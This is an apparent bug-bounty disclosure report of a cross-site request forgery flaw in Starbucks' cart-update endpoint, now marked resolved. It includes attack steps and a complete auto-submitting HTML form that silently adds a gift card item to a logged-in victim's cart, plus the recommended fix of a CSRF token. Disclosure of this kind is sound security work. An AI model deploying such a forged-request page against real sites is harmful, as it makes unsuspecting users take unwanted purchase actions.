CSRF: add item to victim's cart automatically (starbucks.com - updatecart)
Medium
S
Starbucks
Submitted None
Actions:
Reported by
bughuntermate
Vulnerability Details
Technical details and impact analysis
Steps:
1. Victim login their starbucks account first.
2. Attacker send a form/link to victim.
3. If victim click the form/link, An item would automatically add to victim's cart.
4. If victim do not find this item, he/she would pay for this item which can greatly influence your repuation.
Attached is the form.
<html>
<body>
<form action="https://www.starbucks.com/shop/updatecart" method="POST">
<input type="hidden" name="card_custom_image_id" value="" />
<input type="hidden" name="card_custom_theme" value="" />
<input type="hidden" name="card_id" value="db126c2c-277c-4208-9ade-e3014ba16722" />
<input type="hidden" name="card_quantity" value="1" />
<input type="hidden" name="defined_amount" value="25" />
<input type="hidden" name="defined_currency" value="USD" />
<input type="hidden" name="greeting_card" value="8779a801-11e4-463e-bcbd-8e8f7b4608ac" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Solution:
Add a CSRF-token to the post form.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Cross-Site Request Forgery (CSRF)